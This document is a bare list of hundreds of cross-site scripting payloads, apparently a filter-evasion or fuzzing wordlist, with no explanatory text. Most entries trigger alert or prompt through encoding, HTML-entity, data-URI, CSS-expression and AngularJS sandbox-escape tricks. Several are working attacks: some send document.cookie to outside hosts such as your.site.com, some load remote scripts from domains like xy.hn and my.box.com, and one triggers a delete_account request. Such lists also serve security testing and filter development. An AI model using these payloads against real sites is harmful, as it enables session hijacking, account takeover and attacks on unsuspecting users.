//145678901/0/?0=”>”<img src=’-alert(51)-’ onerror=”;alert(510);”>
1%81";alert(1);//
1[‘’+<_>ev</_>+<_>al</_>](‘’+<_>aler</_>+<_>t</_>+<_>(1)</_>);
12&<script>alert(1)</script>=1
1337in alert(1)
1337in?alert(1)
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver
(‘\141\154\145\162\164\50\61\51’)()
({})[$=’\143\157\156\163\164\162\165\143\164\157\162'][$](‘\141\154\145\162\164\50/ @0x6D6172696F /\51’)() 
({})[$=’\143\157\156\163\164\162\165\143\164\157\162'][$](‘\141\154\145\162\164\50/ 145 /\51’)()
[][‘\146\151\154\164\145\162’][‘\143\157\156\163\164\162\165\143\164\157\162’]
14.rs/#alert(document.domain)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
1};a=eval;b=alert;a(b(14));//
1];a=eval;b=alert;a(b(17));//
1;a=eval;b=alert;a(b(/c/.source));
1<a href=”data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
1…&alert(document.cookie)
1,class extends[]/alert(1){}
1<comment onresize=alert(1) contenteditable>1
1/confirm(1)
“1\”&confirm(1)\”3"
___=1?’ert(1)’:0,_=1?’al’:0,__=1?’ev’:0,1[__+_](_+___)
[1].find(alert)
1" ?</script><svg/onload=’;alert(0);’>
/1/[Symbol.replace](‘1’,alert)
~~)1(trela+tpircsavaj’.split(‘’).reverse().join(‘’).split(‘~’).join(String.fromCharCode(47)).split(‘+’).join(String.fromCharCode(58))).concat(‘
1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#1></vmlframe>
(![]+[])[2] +
>%22%27><img%20src%3d%22javascript:confirm(%27%201%27)%22>’%uff1cscript%uff1econfirm(‘1’)%uff1c/script%uff1e’”>>”’’;!?—?“<1>=&{()}
\%22}%29%29%29}catch%28e%29{confirm%28document.domain%29;}//
%22%3B%3E%3Cscript%3Ealert(String.fromCharCode(73,69,82,82,69%3B%3C%2Fscript%3E
%22/%3E%3CBODY%20onload=??document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/1.js%3E%3C/script%3E%22)??%3E
%22/%3E%3CBODY%20onload=document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/1.js%3E%3C/script%3E%22)%3E
%22/%3E%3CBODY%20onload=idocument.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/1.js%3E%3C/script%3E%22)i%3E
%22%3E%3Cimg%20src=k%20onerror=alert%28%221%22%29%20/%3E
%22%3E%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
%22%3E%3Cscript%3Ealert%28/atul/%29%3C/script%3E
%22%3E%3Cscript%3Ealert%28/1/%29%3C/script%3E
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%22%3e%3cscript%3ealert(‘1’)%3c/script%3e
%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E
%22?—?%3E%3C/style%3E%3C/script%3E%3Cscript%3E0x94(0x0001)%3C
‘%22?—?%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
‘%22?—?%3E%3C/style%3E%3C/script%3E%3Cscript%3E1(0x000045)%3C/script%3E
\%22))}catch(e){}if(!self.a)self.a=!confirm(document.cookie)//
\%22;confirm(1);//
24185.43339120701.toString(36);
24185.43339120701.toString(36); (7.585899999991459e-10).toString(33).match(/[a-z]+/g)[0];
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520onload%3D%2522confirm(7)%2522%253E
%2527%257Calert%2528%25271%2527%2529%257C%2527
%253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E
%253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E
%253Cscript%2520src%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fscript%253E
%253Cscript%253Ealert(1)%253C/script%253E
%253Cscript%253Ealert(‘1’)%253C%252Fscript%253E
%253Cscript%253Eprompt%28%29%253C%2Fscript%253E
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%253script%253ealert(/1/)%253c/script%253e
%253script%253ealert(/1-By-Muhaddi/)%253c/script%253e
“%25prompt(9)%25”
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
& => %26 , # => %23 , + => %2B
%26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//
%26%2397;lert(1)
%26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(1)%26%23x003e%3B%0A
‘%26%26’javascript:alert%25281%2529//
“%26%26prompt(9)%26%26”
%26jsonp=alert(1);></script>
%26lt%3bscript>
%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!
“%26prompt(9)%26”
%27%22?—?%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
<!%27/!”/!\%27/\”/?—?!><Input/Type=Text%20AutoFocus%20*/;%20OnFocus=(confirm)(1)%20//>
%27%3C/script%3E%3Cscript%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/script%3E/
%27|alert%28%271%27%29|%27
%2BACIAPgA8-script%2BAD4-alert%28/1/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
‘%2Balert(0x0001)%2B’
%2Balert(0x0001)%2B’
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
? </3
&#34;&#62;<h1/onmouseover=’\u0061lert(1)’>
&#34;&#62;<h1/onmouseover=’\u0061lert(1)’>%00
&#34;&#62;<svg><style>{-o-link-source&colon;’<body/onload=confirm(1)>’
/*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;position:absolute;-msbehavior:url(#default#time2)
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
%3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3F1%3D%253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
%3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3F1%3D%253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
%3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3F1%3D%253Cscript%2520src%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fscript%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
=”/>%3ciframe%20src%3djavascript%3aalert%283%29%3e
“/>%3ciframe%20src%3djavascript%3aalert%283%29%3e
‘%3CIFRAME%20SRC=javascript:alert(%25271%2527)%3E%3C/IFRAME%3E
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060&#60;&#060;&#0060;&#00060;&#000060;&#0000060;&#x3c&#x03c&#x003c&#x0003c&#x00003c&#x000003c&#x3c;&#x03c;&#x003c;&#x0003c;&#x00003c;&#x000003c;&#X3c&#X03c&#X003c&#X0003c&#X00003c&#X000003c&#X3c;&#X03c;&#X003c;&#X0003c;&#X00003c;&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C&#x3C;&#x03C;&#x003C;&#x0003C;&#x00003C;&#x000003C;&#X3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C&#X3C;&#X03C;&#X003C;&#X0003C;&#X00003C;&#X000003C;\x3c\x3C\u003c\u003C
%3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fx%26%23116%3Bxs%26%2399%3B.cx%2F1%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E
%3Cs%26%2399%3Bri%26%23112%3Bt%20s%26%23114%3Bc%3D%2F%2Fxy%2Ehn%2Fa%2Ejs%20%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E
%3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3D%2F%2Fxy%2Ehn%2Fa%2Ejs%20%3E%3C%2Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%3E
%3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3Dhttp%3A%2F%2Fxs%26%23s63%3B.cx%2F1%2Ejs%3E%3C%2Fs%26%23x63%3Bri%26%23x70%3Bt%3E
%3Cscript%0Baaa%3Ealert%281%29%3C/script%0Baaaa%3E
%3Cscript%0Baaa%3Ealert%281%29%3C/script%3E
%3Cscript%0Caaaaa%3Ealert%281%29%3C/script%0Caaaaa%3E
%3Cscript%20src=/1.js%3E%3C/script%3E%3Cbase%20href=//evil/
3Cscript%3Ealert(1)%3C%2Fscript%3E
%3Cscript%3Ealert(1)%3C/script%00TESTTEST%3E
%3Cscript%3Ealert(1)%3C/script%3E
%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E
%3cscript%3ealert(document.cookie);%3c%2fscript%3e
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
%3cscript%3ealert(“W1”);%3c/script%3e
%3cscript%3ealert(‘1’)%3c/script%3e
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/1me2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/1me2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{confirm%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
%3Cx onerror=prompt(131) 
%3Cx onxxx=alert(1) 
%3Cx onxxx=alert(1)
%3E
%3E%3Cbody%20onload=javascript:alert(1)%3E
%3E%3Cbody%20onload=javascript:alert(1)# var sc=escape(document.cookie);var d=escape(document.location);var mI=new Image();mI.src="http://host?a="+d+"&b="+ sc;
(![]+[])[4] +
[4076*A]<img src=”x” alt=”[0x8F]” test=” onerror=confirm(1)//”>
‘’;!&#45;&#45;”<NeatHtmlReplace_1>=&{()}
500);alert(1);//
5.replace(/1/g,confirm)
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
&#60;
&#62;
&#62
<%/%=%&#62<&#112/&#111&#110&#114&#101&#115&#105&#122&#101=&#97&#108&#101&#114&#116(1)//>
62<svg onload=alert(62)>
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = ‘(%2e%2a%3f)’%22)[%31]); </%73%63%72%69%70%74>
\74svg o\156load=alert\5061\51>
(7.585899999991459e-10).toString(33).match(/[a-z]+/g)[0];
<%78 onerror=prompt(132)
<%78 onxxx=1 
<%78 onxxx=1
[84].find(alert)
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
<a
a=`
<a”’%0A`= +%20>;test<a”’%0A`= +%20>?test<a”’%0A`= +%20>;#test<a”’%0A`= +%20>;
<a”’%0A`= +%20>;test<a”’%0A`= +%20>?test<a”’%0A`= +%20>;&x=”><img src=x onerror=prompt(1);>#”><img src=x onerror=prompt(1);>test<a”’%0A`= +%20>;
a=0||’ev’+’al’||0;b=0||’locatio’;b+=0||’n.h’+’ash.sub’||0;b+=0||’str(1)’;c=b[a];c(c(b))
a=0||’ev’+’al’,b=0||location.hash,c=0||’sub’+’str’,1[a](b[c](1))
“a”+(0,”l”)+”ert(1)”
a=1;a=eval;b=alert;a(b(11));//
a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.c haracterSet);//
a%20onchange=alert(9)>
<a&#32;href&#61;&#91;&#00;&#93;”&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;”>XYZ</a
a=a%3D&b=+><img+src%3Da+onerror%3Dalert(9)//
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe 
a=<a><b>%3c%69%6d%67%2f%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e</b></a>document.write(unescape(a..b))
{{a=”a”[“constructor”].prototype;a.charAt=a.trim;$eval(‘a”,alert(alert=1),”’)}}
=a?a?><img/src=a?xa?onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,108,83,116,111,114,97,103,101,46,115,101,116,73,116,101,109,40,39,105,100,39,44,39,34,62,60,105,109,103,47,115,114,99,61,92,34,120,92,34,111,110,101,114,114,111,114,61,97,108,101,114,116,40,49,41,62,39,41))>
a=`${alert/*}`;
a=`${alert`1`}`
a;alert(1);//
a=alert a(0)
a=alert,a(1)
A=alert;A(1)
a=alert,a(83)
a?aMaXscriptaMconfirm(1)aX/scriptaM
“;a.b=c;//
“;a[b]=c;//
‘abc(def)ghi(jkl)mno(pqr)abc(def)ghi ‘
“‘`>ABC<div style=”font-family:’foo’*chr*x:expression(log(*num*));/*’;”>DEF
“‘`>ABC<div style=”font-family:’foo*chr*;x:expression(log(*num*));/*’;”>DEF
“‘`>ABC<div style=”font-family:’foo’\x3Bx:expression(javascript:alert(1);/*’;”>DEF 
“‘`>ABC<div style=”font-family:’foo’\x3Bx:expression(javascript:alert(1);/*’;”>DEF
“‘`>ABC<div style=”font-family:’foo’\x7Dx:expression(javascript:alert(1);/*’;”>DEF 
“‘`>ABC<div style=”font-family:’foo’\x7Dx:expression(javascript:alert(1);/*’;”>DEF
ABC<div style=”x:expression\x00(javascript:alert(1)”>DEF
ABC<div style=”x:expression\x5C(javascript:alert(1)”>DEF
ABC<div style=”x:exp\x00ression(javascript:alert(1)”>DEF
ABC<div style=”x:exp\x5Cression(javascript:alert(1)”>DEF
ABC<div style=”x:\x00expression(javascript:alert(1)”>DEF
ABC<div style=”x:\x09expression(javascript:alert(1)”>DEF
ABC<div style=”x:\x0Aexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\x0Bexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\x0Cexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\x0Dexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\x20expression(javascript:alert(1)”>DEF
ABC<div style=”x\x3Aexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\xC2\xA0expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x80expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x81expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x82expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x83expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x84expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x85expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x86expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x87expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x88expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x89expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x8Aexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE2\x80\x8Bexpression(javascript:alert(1)”>DEF
ABC<div style=”x:\xE3\x80\x80expression(javascript:alert(1)”>DEF
ABC<div style=”x:\xEF\xBB\xBFexpression(javascript:alert(1)”>DEF
a{b:`function(){alert(1)}()`;}
<AboutBoxText><![CDATA[<a href=javascript:alert(1337)>Click me</a>]]> </AboutBoxText>
about://1.cx
 accesskey=x onclick=alert(1) 1=
“ accesskey=x onclick=alert(1) 1=’
a. click()
{{a=’constructor’;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,’alert(1)’)()}}
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}}
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1}}};alert(1)//’);}}
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=alert(1)’);}}
{{‘a’.constructor.prototype.charAt=’’.valueOf;$eval(“x=’\”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+\”’”);}}
<A?cript/async/src=//a?a?L>
action=//localhost/self/login.php?returnURL=changemail.php>
<a data-remote=true data-method=delete href=/delete_account>CLICK</a>
a=document.createElement(‘a’)
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
+ADw-script+AD4-alert(+ACI-1+ACI-)+ADw-/script+AD4-
};a=eval;b=alert;a(b(12));//
‘};a=eval;b=alert;a(b(13));//
‘];a=eval;b=alert;a(b(15));//
];a=eval;b=alert;a(b(16));//
*/a=eval;b=alert;a(b(/e/.source));/*
a=/ev/ .source a+=/al/ .source,a = a[a] a(name)
a=/ev/// .source a+=/al/// .source a[a] (name)
“><a fooooooooooooooooooooooooooooooooo href=JaVAScript%26colon%3Bprompt%26lpar%3B1%26rpar%3B%>
<!a foo=x=`y><img alt=”`><img src=xx:x onerror=alert(2)//”>
<?a foo=x=`y><img alt=”`><img src=xx:x onerror=alert(3)//”>
a=function(){},(p=>p.c=()=>alert(‘d’))(a.prototype),b=new a,b.c()
a=”get”;
a=\”get\”;
a=”;get”;;&;#10;b=”;URL(“;”;;&;#10;c=”;javascript:”;;&;#10;d=”;alert(‘;1’;);”;)”;;&#10;eval(a+b+c+d);
a=”get”;&#10;b=”URL(“”;&#10;c=”javascript:”;&#10;d=”alert(‘1’);”)”;eval(a+b+c+d);
a=”get”;b=”URL”;c=”javascript:”;d=”alert(1);”;eval(a+b+c+d);
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘X10SS’);”;eval(a+b+c+d);
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘1’);”;eval(a?); 
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘1’);”;eval(a+b+c+d);
a=”get”; b=”URL(\””; c=”javascript:”; d=”alert(‘1’);\”)”; eval(a+b+c+d);
a=”get”;b=”URL(\””;c=”javascript:”;d=”alert(‘1’);\”)”;eval(a+b+c+d);
a=”get”;b=”URL(ja\””;c=”vascr”;d=”ipt:ale”;e=”rt(‘1’);\”)”;eval(a+b+c+d+e);
<% a=%&gt&lt;iframe/onload=alert(1)//>
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
aha <script src=>alert(/IE|Opera/)</script>
<a href=````>
a.href=’#’
<a/href[\0C]=ja&Tab;vasc&Tab;ript&colon;confirm(1)>XXX</a>
<a href=[0x0b]” onclick=confirm(1)//”>click</a>
<a href=[0x0b]renwax23" onfocus=prompt(1) autofocus fragment=”
<a href=”&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41">Test</a>
<a href=”&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#1 14&#109&#40&#49&#41">Clickhere</a>
<a href=”&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41">Clickhere</a>
<a href=”&#1;javascript:alert(1)”>CLICK ME<a>
<a href=”&#38&#35&#49&#48&#54&#38&#35&#57&#55&#38&#35&#49&#49&#56&#38&#35&#57&#55&#38& #35&#49&#49&#53&#38&#35&#57&#57&#38&#35&#49&#49&#52&#38&#35&#49&#48&#53&#38&#35&#4 9&#49&#50&#38&#35&#49&#49&#54&#38&#35&#53&#56&#38&#35&#57&#57&#38&#35&#49&#49&#49& #38&#35&#49&#49&#48&#38&#35&#49&#48&#50&#38&#35&#49&#48&#53&#38&#35&#49&#49&#52&#3 8&#35&#49&#48&#57&#38&#35&#52&#48&#38&#35&#52&#57&#38&#35&#52&#49">Clickhere</a>
<a href=”&#38&#35&#49&#48&#54&#38&#35&#57&#55&#38&#35&#49&#49&#56&#38&#35&#57&#55&#38&#35&#49&#49&#53&#38&#35&#57&#57&#38&#35&#49&#49&#52&#38&#35&#49&#48&#53&#38&#35&#49&#49&#50&#38&#35&#49&#49&#54&#38&#35&#53&#56&#38&#35&#57&#57&#38&#35&#49&#49&#49&#38&#35&#49&#49&#48&#38&#35&#49&#48&#50&#38&#35&#49&#48&#53&#38&#35&#49&#49&#52&#38&#35&#49&#48&#57&#38&#35&#52&#48&#38&#35&#52&#57&#38&#35&#52&#49">Clickhere</a>
<a href=”about:<script>document.vulnerable=true;</script>”>
<!?—?<A href=”- ?<a href=javascript:alert:document.domain>test ?
<a href=”[a]java[b]script[c]:alert(1)”>XXX</a>
<a href=????&amp;/onclick=alert(9)>foo</a>
?a href=asfunction:System.Security.allowDomain,evilhost?
<a href=”//ben.mario#%0Aalert(3);”>CLICKME</a>
<a href=``calc``>
<a href=”//???????”>click</a>
<a href=”data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>click</a>?
<a href=”data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>click</a>
<a href=”data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”&#09;&#10;&#11;>X</a
<a href=”data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==” >X</a
<a/href=data&colon;text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a>
<a href=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==”><img src=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==”></a>
<a href=”data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >”>CLICK</a>
<a href=”data:text/html,%3cscript>confirm &#40;1&#41;&lt;/script&gt;” >hello
“><a href=”data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+”>click</a>
<a href=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+>clickme
<a href=??data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+??>ClickMe
<a href=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+>ClickMe
<a href=”data:text/html;base64,PHN2Zy?9vbmxv?YWQ<>>9YWxlc>>>nQoMSk”>click</a>
<a href=”data:text/html;base64,PHN2Zye?L9vbmxva?EYWQ<>>9YWxlc>>>nQoMSk+”>click</a>
<a href=??data:text/html;base64,PHNjcmlwdD5hbGVydCg5KTwvc2NyaXB0Pg??>foo</a>
<a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=”>test</a>
<a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+ “>click<a>
<a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4=”>Test</a>
<a HREF=”data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==”>ugh</a>
<a href=’data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==’>click<a>
<a href=”data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>”>X</a 
<a href=”data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>”>X</a
“/><a href=”data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>”>X</a
<a href=”data:text/html;base64xoxoxox,<body/onload=alert(1)>”>click</a>
<a href=”data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
